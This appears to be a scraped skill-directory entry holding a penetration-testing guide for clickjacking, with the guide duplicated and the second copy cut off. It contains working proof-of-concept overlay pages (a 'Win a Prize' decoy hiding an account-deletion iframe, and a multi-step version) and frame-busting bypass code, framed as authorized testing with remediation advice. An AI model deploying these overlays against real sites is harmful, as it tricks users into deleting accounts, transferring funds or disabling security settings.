[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M73EB6Q1ETH0DV9BNM8QKE2H":3,"skill-same:01M73EB6Q1ETH0DV9BNM8QKE2H":95},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":55,"commitSha":56,"skillDirectory":57,"forksCount":58,"repositoryHtmlUrl":59,"repositoryHomepageUrl":60,"ownerHtmlUrl":61,"ownerBlogUrl":62,"ownerDescription":63,"updatedAt":64,"install":65,"resources":78},"01M73EB6Q1ETH0DV9BNM8QKE2H","performing-clickjacking-attack-test",null,"Testing web applications for clickjacking vulnerabilities by assessing frame embedding controls and crafting proof-of-concept overlay attacks during authorized security assessments.","Horonomos-laps\u002FYana-AI","Horonomos-laps","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F355299122?v=4","01M76B3QPXE88ET2SQPDPVATZT"," Horonomos-laps","01M72ZQRJPCYPSSWT4D00VJR2A",13,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-clickjacking-attack-test\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-clickjacking-attack-test\u002FSKILL.md",[],[],"2026-11-11 15:11:14",false,"---\nname: performing-clickjacking-attack-test\ndescription: Testing web applications for clickjacking vulnerabilities by assessing\n  frame embedding controls and crafting proof-of-concept overlay attacks during authorized\n  security assessments.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- clickjacking\n- ui-redressing\n- web-security\n- owasp\n- x-frame-options\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\natlas_techniques:\n- AML.T0024\n- AML.T0035\nnist_ai_rmf:\n- MEASURE-2.8\n- MAP-5.1\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\nsource: https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\nsource_commit: 04450304b12645cb2b974ab96d28c0664758a88d\nnote: \"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.\"\n---\n\n# Performing Clickjacking Attack Test\n\n## When to Use\n\n- During authorized penetration tests when assessing UI redressing vulnerabilities\n- When testing whether sensitive actions (delete account, transfer funds, change settings) can be performed via clickjacking\n- For evaluating the effectiveness of X-Frame-Options and Content-Security-Policy frame-ancestors directives\n- When assessing applications that process one-click actions without additional confirmation\n- During security audits of applications handling financial transactions or account management\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Web browser**: Modern browser for testing iframe embedding\n- **Local web server**: Python `http.server` or similar for hosting PoC pages\n- **Burp Suite**: For examining response headers\n- **HTML\u002FCSS knowledge**: For crafting clickjacking overlay pages\n- **curl**: For checking framing headers on target pages\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Check Frame Embedding Protections\n\nExamine response headers for anti-clickjacking defenses.\n\n```bash\n# Check X-Frame-Options header\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"x-frame-options\"\n# Expected values:\n# X-Frame-Options: DENY (blocks all framing)\n# X-Frame-Options: SAMEORIGIN (allows same-origin framing)\n# X-Frame-Options: ALLOW-FROM https:\u002F\u002Ftrusted.com (deprecated, limited support)\n\n# Check Content-Security-Policy frame-ancestors directive\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"content-security-policy\"\n# Look for: frame-ancestors 'none' or frame-ancestors 'self'\n# frame-ancestors 'none' = equivalent to DENY\n# frame-ancestors 'self' = equivalent to SAMEORIGIN\n\n# Test multiple sensitive pages\nfor page in \u002F \u002Faccount\u002Fsettings \u002Faccount\u002Fdelete \u002Ftransfer \\\n  \u002Fadmin\u002Fdashboard \u002Fchange-password \u002Fchange-email; do\n  echo -n \"$page: \"\n  headers=$(curl -s -I \"https:\u002F\u002Ftarget.example.com$page\")\n  xfo=$(echo \"$headers\" | grep -i \"x-frame-options\" | tr -d '\\r')\n  csp=$(echo \"$headers\" | grep -i \"content-security-policy\" | grep -o \"frame-ancestors[^;]*\" | tr -d '\\r')\n  if [ -z \"$xfo\" ] && [ -z \"$csp\" ]; then\n    echo \"NO PROTECTION\"\n  else\n    echo \"${xfo:-none} | ${csp:-none}\"\n  fi\ndone\n\n# Check if JavaScript frame-busting is used (weak protection)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"top.location\\|parent.location\\|frameElement\"\n```\n\n### Step 2: Test Basic Iframe Embedding\n\nAttempt to embed the target page in an iframe to confirm vulnerability.\n\n```html\n\u003C!-- basic-frame-test.html -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>Clickjacking Frame Test\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>Frame Embedding Test\u003C\u002Fh1>\n\u003Cp>If the target page loads below, it is vulnerable to clickjacking.\u003C\u002Fp>\n\n\u003C!-- Test basic framing -->\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n        width=\"800\" height=\"600\"\n        style=\"border: 2px solid red;\">\n\u003C\u002Fiframe>\n\n\u003Cp>If you see \"Refused to display\" in console or blank iframe,\n   the page has frame protection.\u003C\u002Fp>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n```bash\n# Host the test page\ncd \u002Ftmp\ncat > frame-test.html \u003C\u003C 'EOF'\n\u003Chtml>\n\u003Cbody>\n\u003Ch1>Clickjacking Test\u003C\u002Fh1>\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n        width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\nEOF\npython3 -m http.server 8888\n# Open http:\u002F\u002Flocalhost:8888\u002Fframe-test.html in browser\n# Check browser console for framing errors\n```\n\n### Step 3: Craft Clickjacking Proof of Concept\n\nBuild an overlay attack that tricks users into clicking hidden elements.\n\n```html\n\u003C!-- clickjacking-poc.html -->\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>Win a Prize!\u003C\u002Ftitle>\n\u003Cstyle>\n  body {\n    margin: 0;\n    padding: 0;\n    font-family: Arial, sans-serif;\n  }\n\n  \u002F* Invisible iframe containing target page *\u002F\n  #target-frame {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    opacity: 0.0001;  \u002F* Nearly invisible *\u002F\n    z-index: 2;       \u002F* On top of decoy *\u002F\n    border: none;\n  }\n\n  \u002F* Decoy content that tricks the user *\u002F\n  #decoy {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    z-index: 1;\n    background: white;\n  }\n\n  \u002F* Position the \"Click here\" button exactly over the target's\n     sensitive button (adjust top\u002Fleft values based on target layout) *\u002F\n  #click-bait {\n    position: absolute;\n    top: 350px;    \u002F* Align with target's \"Delete Account\" button *\u002F\n    left: 400px;   \u002F* Align horizontally *\u002F\n    padding: 15px 30px;\n    background: #4CAF50;\n    color: white;\n    font-size: 18px;\n    cursor: pointer;\n    border: none;\n    border-radius: 5px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003C!-- Decoy content visible to the user -->\n\u003Cdiv id=\"decoy\">\n  \u003Ch1 style=\"text-align:center; margin-top:100px;\">\n    Congratulations! You Won!\n  \u003C\u002Fh1>\n  \u003Cp style=\"text-align:center;\">\n    Click the button below to claim your prize\n  \u003C\u002Fp>\n  \u003Cbutton id=\"click-bait\">CLAIM PRIZE\u003C\u002Fbutton>\n\u003C\u002Fdiv>\n\n\u003C!-- Hidden iframe with target's sensitive action -->\n\u003Ciframe id=\"target-frame\"\n  src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fdelete\"\n  scrolling=\"no\">\n\u003C\u002Fiframe>\n\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 4: Create Multi-Step Clickjacking Attack\n\nFor actions requiring multiple clicks, create a multi-step overlay.\n\n```html\n\u003C!-- multi-step-clickjacking.html -->\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>Complete Survey\u003C\u002Ftitle>\n\u003Cstyle>\n  #target-frame {\n    position: absolute;\n    width: 100%;\n    height: 100%;\n    opacity: 0.0001;\n    z-index: 2;\n    border: none;\n  }\n  #step-container {\n    text-align: center;\n    margin-top: 200px;\n    z-index: 1;\n    position: relative;\n  }\n  .step { display: none; }\n  .step.active { display: block; }\n  .btn {\n    padding: 15px 40px;\n    font-size: 18px;\n    background: #2196F3;\n    color: white;\n    border: none;\n    cursor: pointer;\n    margin-top: 20px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003Cdiv id=\"step-container\">\n  \u003C!-- Step 1: Click aligns with \"Settings\" link on target -->\n  \u003Cdiv class=\"step active\" id=\"step1\">\n    \u003Ch2>Step 1: Select your reward\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\" onclick=\"nextStep()\"\n      style=\"position:absolute; top:200px; left:300px;\">\n      Gold Package\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\n  \u003C!-- Step 2: Click aligns with \"Delete Account\" button -->\n  \u003Cdiv class=\"step\" id=\"step2\">\n    \u003Ch2>Step 2: Confirm your choice\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\" onclick=\"nextStep()\"\n      style=\"position:absolute; top:350px; left:400px;\">\n      Confirm\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\n  \u003C!-- Step 3: Click aligns with \"Yes, I'm sure\" confirmation -->\n  \u003Cdiv class=\"step\" id=\"step3\">\n    \u003Ch2>Step 3: Claim reward!\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\"\n      style=\"position:absolute; top:400px; left:450px;\">\n      Claim Now!\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\u003C\u002Fdiv>\n\n\u003Ciframe id=\"target-frame\"\n  src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\">\n\u003C\u002Fiframe>\n\n\u003Cscript>\nvar currentStep = 1;\nfunction nextStep() {\n  document.getElementById('step' + currentStep).classList.remove('active');\n  currentStep++;\n  document.getElementById('step' + currentStep).classList.add('active');\n  \u002F\u002F Optionally change iframe src for multi-page flows\n}\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 5: Test Frame-Busting Bypass Techniques\n\nIf JavaScript-based frame protection is used, attempt to bypass it.\n\n```html\n\u003C!-- Bypass frame-busting JavaScript -->\n\n\u003C!-- Technique 1: sandbox attribute blocks top-level navigation -->\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n  sandbox=\"allow-scripts allow-forms allow-same-origin\"\n  width=\"800\" height=\"600\">\n\u003C\u002Fiframe>\n\u003C!-- sandbox without allow-top-navigation prevents frame-busting -->\n\n\u003C!-- Technique 2: Double framing -->\n\u003C!-- If target checks: if (top !== self) top.location = self.location -->\n\u003C!-- Frame the page through an intermediate page that also frames -->\n\u003Ciframe src=\"intermediate.html\" width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003C!-- intermediate.html contains: \u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002F...\"> -->\n\n\u003C!-- Technique 3: Intercept onbeforeunload -->\n\u003Cscript>\nwindow.onbeforeunload = function() {\n  return \"Are you sure?\";  \u002F\u002F Prevents navigation away\n};\n\u003C\u002Fscript>\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n  width=\"800\" height=\"600\">\n\u003C\u002Fiframe>\n\n\u003C!-- Technique 4: Using data: URI or about:blank -->\n\u003Ciframe id=\"f\" src=\"about:blank\" width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003Cscript>\nvar iframe = document.getElementById('f');\niframe.contentDocument.write(\n  '\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\" width=\"100%\" height=\"100%\">\u003C\u002Fiframe>'\n);\n\u003C\u002Fscript>\n```\n\n### Step 6: Validate Impact and Document Finding\n\nConfirm that the clickjacking leads to meaningful impact.\n\n```bash\n# Host the PoC and test the attack flow\ncd \u002Ftmp\npython3 -m http.server 8888\n\n# Testing steps:\n# 1. Log in to target.example.com in the browser\n# 2. Open http:\u002F\u002Flocalhost:8888\u002Fclickjacking-poc.html\n# 3. Click the decoy button\n# 4. Verify the sensitive action was performed on the target\n\n# For report: adjust iframe opacity to show overlap\n# Change opacity from 0.0001 to 0.5 for screenshot evidence\n# This shows the target page visible behind the decoy content\n\n# Document which sensitive actions are vulnerable:\n# - Account deletion\n# - Password\u002Femail change\n# - Fund transfer\n# - Permission\u002Frole changes\n# - Enabling\u002Fdisabling security features\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Clickjacking** | UI redressing attack that tricks users into clicking hidden elements by overlaying decoy content |\n| **X-Frame-Options** | HTTP header controlling whether a page can be embedded in iframes (DENY, SAMEORIGIN) |\n| **frame-ancestors** | CSP directive specifying valid parents for iframe embedding (supersedes X-Frame-Options) |\n| **Frame Busting** | JavaScript-based defense that attempts to break out of iframes (easily bypassable) |\n| **Likejacking** | Clickjacking variant targeting social media \"Like\" or \"Share\" buttons |\n| **Cursorjacking** | Variant using CSS to offset the visible cursor from the actual click position |\n| **Multi-step Clickjacking** | Attack requiring multiple clicks, with decoy content changing at each step |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Examining X-Frame-Options and CSP headers on responses |\n| **Clickjack Tester (browser)** | Browser-based iframe embedding test tool |\n| **Browser DevTools** | Inspecting frame embedding behavior and console errors |\n| **Python http.server** | Hosting clickjacking PoC pages locally |\n| **OWASP ZAP** | Automated detection of missing anti-framing headers |\n| **securityheaders.com** | Online scanner for missing security headers |\n\n## Common Scenarios\n\n### Scenario 1: Account Deletion via Clickjacking\nThe account deletion page at `\u002Faccount\u002Fdelete` has no X-Frame-Options header. An attacker creates a page with a \"Win a prize\" button positioned over the \"Delete My Account\" button in a transparent iframe.\n\n### Scenario 2: One-Click Fund Transfer\nA banking application performs transfers via a single button click on a pre-filled form. Without frame protection, the attacker embeds the transfer page in an iframe and overlays a decoy \"Play Game\" button.\n\n### Scenario 3: 2FA Disable via Multi-Step Clickjacking\nDisabling two-factor authentication requires two clicks (settings link, then disable button). A multi-step clickjacking PoC guides the victim through two decoy clicks that align with the real buttons.\n\n### Scenario 4: OAuth Authorization Clickjack\nAn OAuth consent screen allows framing. The attacker embeds the consent page and tricks the victim into clicking \"Authorize\", granting the attacker's application access to the victim's account.\n\n## Output Format\n\n```\n## Clickjacking Vulnerability Finding\n\n**Vulnerability**: Clickjacking - Missing Frame Embedding Protection\n**Severity**: Medium (CVSS 6.1)\n**Location**: \u002Faccount\u002Fsettings, \u002Faccount\u002Fdelete, \u002Ftransfer\n**OWASP Category**: A04:2021 - Insecure Design\n\n### Headers Analysis\n| Page | X-Frame-Options | CSP frame-ancestors | Vulnerable |\n|------|----------------|--------------------|-|\n| \u002F | Not set | Not set | Yes |\n| \u002Faccount\u002Fsettings | Not set | Not set | Yes |\n| \u002Faccount\u002Fdelete | Not set | Not set | Yes |\n| \u002Ftransfer | Not set | Not set | Yes |\n| \u002Flogin | SAMEORIGIN | - | No |\n\n### Sensitive Actions Exploitable\n1. Account deletion (single click, no re-authentication)\n2. Email change (single click, no confirmation)\n3. 2FA disable (two clicks, multi-step PoC)\n4. Fund transfer (pre-filled form, single click)\n\n### Impact\n- Account takeover via email change clickjacking\n- Account destruction via delete clickjacking\n- Financial loss via transfer clickjacking\n- Security downgrade via 2FA disable clickjacking\n\n### Recommendation\n1. Add `Content-Security-Policy: frame-ancestors 'none'` to all pages\n2. Set `X-Frame-Options: DENY` as fallback for older browsers\n3. Require re-authentication for sensitive actions (delete, transfer)\n4. Add confirmation dialogs that cannot be pre-filled or auto-submitted\n5. Implement SameSite=Strict cookies to reduce session availability in frames\n```\n","# Performing Clickjacking Attack Test\n\n## When to Use\n\n- During authorized penetration tests when assessing UI redressing vulnerabilities\n- When testing whether sensitive actions (delete account, transfer funds, change settings) can be performed via clickjacking\n- For evaluating the effectiveness of X-Frame-Options and Content-Security-Policy frame-ancestors directives\n- When assessing applications that process one-click actions without additional confirmation\n- During security audits of applications handling financial transactions or account management\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Web browser**: Modern browser for testing iframe embedding\n- **Local web server**: Python `http.server` or similar for hosting PoC pages\n- **Burp Suite**: For examining response headers\n- **HTML\u002FCSS knowledge**: For crafting clickjacking overlay pages\n- **curl**: For checking framing headers on target pages\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Check Frame Embedding Protections\n\nExamine response headers for anti-clickjacking defenses.\n\n```bash\n# Check X-Frame-Options header\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"x-frame-options\"\n# Expected values:\n# X-Frame-Options: DENY (blocks all framing)\n# X-Frame-Options: SAMEORIGIN (allows same-origin framing)\n# X-Frame-Options: ALLOW-FROM https:\u002F\u002Ftrusted.com (deprecated, limited support)\n\n# Check Content-Security-Policy frame-ancestors directive\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"content-security-policy\"\n# Look for: frame-ancestors 'none' or frame-ancestors 'self'\n# frame-ancestors 'none' = equivalent to DENY\n# frame-ancestors 'self' = equivalent to SAMEORIGIN\n\n# Test multiple sensitive pages\nfor page in \u002F \u002Faccount\u002Fsettings \u002Faccount\u002Fdelete \u002Ftransfer \\\n  \u002Fadmin\u002Fdashboard \u002Fchange-password \u002Fchange-email; do\n  echo -n \"$page: \"\n  headers=$(curl -s -I \"https:\u002F\u002Ftarget.example.com$page\")\n  xfo=$(echo \"$headers\" | grep -i \"x-frame-options\" | tr -d '\\r')\n  csp=$(echo \"$headers\" | grep -i \"content-security-policy\" | grep -o \"frame-ancestors[^;]*\" | tr -d '\\r')\n  if [ -z \"$xfo\" ] && [ -z \"$csp\" ]; then\n    echo \"NO PROTECTION\"\n  else\n    echo \"${xfo:-none} | ${csp:-none}\"\n  fi\ndone\n\n# Check if JavaScript frame-busting is used (weak protection)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"top.location\\|parent.location\\|frameElement\"\n```\n\n### Step 2: Test Basic Iframe Embedding\n\nAttempt to embed the target page in an iframe to confirm vulnerability.\n\n```html\n\u003C!-- basic-frame-test.html -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>Clickjacking Frame Test\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>Frame Embedding Test\u003C\u002Fh1>\n\u003Cp>If the target page loads below, it is vulnerable to clickjacking.\u003C\u002Fp>\n\n\u003C!-- Test basic framing -->\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n        width=\"800\" height=\"600\"\n        style=\"border: 2px solid red;\">\n\u003C\u002Fiframe>\n\n\u003Cp>If you see \"Refused to display\" in console or blank iframe,\n   the page has frame protection.\u003C\u002Fp>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n```bash\n# Host the test page\ncd \u002Ftmp\ncat > frame-test.html \u003C\u003C 'EOF'\n\u003Chtml>\n\u003Cbody>\n\u003Ch1>Clickjacking Test\u003C\u002Fh1>\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n        width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\nEOF\npython3 -m http.server 8888\n# Open http:\u002F\u002Flocalhost:8888\u002Fframe-test.html in browser\n# Check browser console for framing errors\n```\n\n### Step 3: Craft Clickjacking Proof of Concept\n\nBuild an overlay attack that tricks users into clicking hidden elements.\n\n```html\n\u003C!-- clickjacking-poc.html -->\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>Win a Prize!\u003C\u002Ftitle>\n\u003Cstyle>\n  body {\n    margin: 0;\n    padding: 0;\n    font-family: Arial, sans-serif;\n  }\n\n  \u002F* Invisible iframe containing target page *\u002F\n  #target-frame {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    opacity: 0.0001;  \u002F* Nearly invisible *\u002F\n    z-index: 2;       \u002F* On top of decoy *\u002F\n    border: none;\n  }\n\n  \u002F* Decoy content that tricks the user *\u002F\n  #decoy {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    z-index: 1;\n    background: white;\n  }\n\n  \u002F* Position the \"Click here\" button exactly over the target's\n     sensitive button (adjust top\u002Fleft values based on target layout) *\u002F\n  #click-bait {\n    position: absolute;\n    top: 350px;    \u002F* Align with target's \"Delete Account\" button *\u002F\n    left: 400px;   \u002F* Align horizontally *\u002F\n    padding: 15px 30px;\n    background: #4CAF50;\n    color: white;\n    font-size: 18px;\n    cursor: pointer;\n    border: none;\n    border-radius: 5px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003C!-- Decoy content visible to the user -->\n\u003Cdiv id=\"decoy\">\n  \u003Ch1 style=\"text-align:center; margin-top:100px;\">\n    Congratulations! You Won!\n  \u003C\u002Fh1>\n  \u003Cp style=\"text-align:center;\">\n    Click the button below to claim your prize\n  \u003C\u002Fp>\n  \u003Cbutton id=\"click-bait\">CLAIM PRIZE\u003C\u002Fbutton>\n\u003C\u002Fdiv>\n\n\u003C!-- Hidden iframe with target's sensitive action -->\n\u003Ciframe id=\"target-frame\"\n  src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fdelete\"\n  scrolling=\"no\">\n\u003C\u002Fiframe>\n\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 4: Create Multi-Step Clickjacking Attack\n\nFor actions requiring multiple clicks, create a multi-step overlay.\n\n```html\n\u003C!-- multi-step-clickjacking.html -->\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>Complete Survey\u003C\u002Ftitle>\n\u003Cstyle>\n  #target-frame {\n    position: absolute;\n    width: 100%;\n    height: 100%;\n    opacity: 0.0001;\n    z-index: 2;\n    border: none;\n  }\n  #step-container {\n    text-align: center;\n    margin-top: 200px;\n    z-index: 1;\n    position: relative;\n  }\n  .step { display: none; }\n  .step.active { display: block; }\n  .btn {\n    padding: 15px 40px;\n    font-size: 18px;\n    background: #2196F3;\n    color: white;\n    border: none;\n    cursor: pointer;\n    margin-top: 20px;\n  }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\n\u003Cdiv id=\"step-container\">\n  \u003C!-- Step 1: Click aligns with \"Settings\" link on target -->\n  \u003Cdiv class=\"step active\" id=\"step1\">\n    \u003Ch2>Step 1: Select your reward\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\" onclick=\"nextStep()\"\n      style=\"position:absolute; top:200px; left:300px;\">\n      Gold Package\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\n  \u003C!-- Step 2: Click aligns with \"Delete Account\" button -->\n  \u003Cdiv class=\"step\" id=\"step2\">\n    \u003Ch2>Step 2: Confirm your choice\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\" onclick=\"nextStep()\"\n      style=\"position:absolute; top:350px; left:400px;\">\n      Confirm\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\n  \u003C!-- Step 3: Click aligns with \"Yes, I'm sure\" confirmation -->\n  \u003Cdiv class=\"step\" id=\"step3\">\n    \u003Ch2>Step 3: Claim reward!\u003C\u002Fh2>\n    \u003Cbutton class=\"btn\"\n      style=\"position:absolute; top:400px; left:450px;\">\n      Claim Now!\n    \u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\u003C\u002Fdiv>\n\n\u003Ciframe id=\"target-frame\"\n  src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\">\n\u003C\u002Fiframe>\n\n\u003Cscript>\nvar currentStep = 1;\nfunction nextStep() {\n  document.getElementById('step' + currentStep).classList.remove('active');\n  currentStep++;\n  document.getElementById('step' + currentStep).classList.add('active');\n  \u002F\u002F Optionally change iframe src for multi-page flows\n}\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 5: Test Frame-Busting Bypass Techniques\n\nIf JavaScript-based frame protection is used, attempt to bypass it.\n\n```html\n\u003C!-- Bypass frame-busting JavaScript -->\n\n\u003C!-- Technique 1: sandbox attribute blocks top-level navigation -->\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n  sandbox=\"allow-scripts allow-forms allow-same-origin\"\n  width=\"800\" height=\"600\">\n\u003C\u002Fiframe>\n\u003C!-- sandbox without allow-top-navigation prevents frame-busting -->\n\n\u003C!-- Technique 2: Double framing -->\n\u003C!-- If target checks: if (top !== self) top.location = self.location -->\n\u003C!-- Frame the page through an intermediate page that also frames -->\n\u003Ciframe src=\"intermediate.html\" width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003C!-- intermediate.html contains: \u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002F...\"> -->\n\n\u003C!-- Technique 3: Intercept onbeforeunload -->\n\u003Cscript>\nwindow.onbeforeunload = function() {\n  return \"Are you sure?\";  \u002F\u002F Prevents navigation away\n};\n\u003C\u002Fscript>\n\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\"\n  width=\"800\" height=\"600\">\n\u003C\u002Fiframe>\n\n\u003C!-- Technique 4: Using data: URI or about:blank -->\n\u003Ciframe id=\"f\" src=\"about:blank\" width=\"800\" height=\"600\">\u003C\u002Fiframe>\n\u003Cscript>\nvar iframe = document.getElementById('f');\niframe.contentDocument.write(\n  '\u003Ciframe src=\"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\" width=\"100%\" height=\"100%\">\u003C\u002Fiframe>'\n);\n\u003C\u002Fscript>\n```\n\n### Step 6: Validate Impact and Document Finding\n\nConfirm that the clickjacking leads to meaningful impact.\n\n```bash\n# Host the PoC and test the attack flow\ncd \u002Ftmp\npython3 -m http.server 8888\n\n# Testing steps:\n# 1. Log in to target.example.com in the browser\n# 2. Open http:\u002F\u002Flocalhost:8888\u002Fclickjacking-poc.html\n# 3. Click the decoy button\n# 4. Verify the sensitive action was performed on the target\n\n# For report: adjust iframe opacity to show overlap\n# Change opacity from 0.0001 to 0.5 for screenshot evidence\n# This shows the target page visible behind the decoy content\n\n# Document which sensitive actions are vulnerable:\n# - Account deletion\n# - Password\u002Femail change\n# - Fund transfer\n# - Permission\u002Frole changes\n# - Enabling\u002Fdisabling security features\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Clickjacking** | UI redressing attack that tricks users into clicking hidden elements by overlaying decoy content |\n| **X-Frame-Options** | HTTP header controlling whether a page can be embedded in iframes (DENY, SAMEORIGIN) |\n| **frame-ancestors** | CSP directive specifying valid parents for iframe embedding (supersedes X-Frame-Options) |\n| **Frame Busting** | JavaScript-based defense that attempts to break out of iframes (easily bypassable) |\n| **Likejacking** | Clickjacking variant targeting social media \"Like\" or \"Share\" buttons |\n| **Cursorjacking** | Variant using CSS to offset the visible cursor from the actual click position |\n| **Multi-step Clickjacking** | Attack requiring multiple clicks, with decoy content changing at each step |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Examining X-Frame-Options and CSP headers on responses |\n| **Clickjack Tester (browser)** | Browser-based iframe embedding test tool |\n| **Browser DevTools** | Inspecting frame embedding behavior and console errors |\n| **Python http.server** | Hosting clickjacking PoC pages locally |\n| **OWASP ZAP** | Automated detection of missing anti-framing headers |\n| **securityheaders.com** | Online scanner for missing security headers |\n\n## Common Scenarios\n\n### Scenario 1: Account Deletion via Clickjacking\nThe account deletion page at `\u002Faccount\u002Fdelete` has no X-Frame-Options header. An attacker creates a page with a \"Win a prize\" button positioned over the \"Delete My Account\" button in a transparent iframe.\n\n### Scenario 2: One-Click Fund Transfer\nA banking application performs transfers via a single button click on a pre-filled form. Without frame protection, the attacker embeds the transfer page in an iframe and overlays a decoy \"Play Game\" button.\n\n### Scenario 3: 2FA Disable via Multi-Step Clickjacking\nDisabling two-factor authentication requires two clicks (settings link, then disable button). A multi-step clickjacking PoC guides the victim through two decoy clicks that align with the real buttons.\n\n### Scenario 4: OAuth Authorization Clickjack\nAn OAuth consent screen allows framing. The attacker embeds the consent page and tricks the victim into clicking \"Authorize\", granting the attacker's application access to the victim's 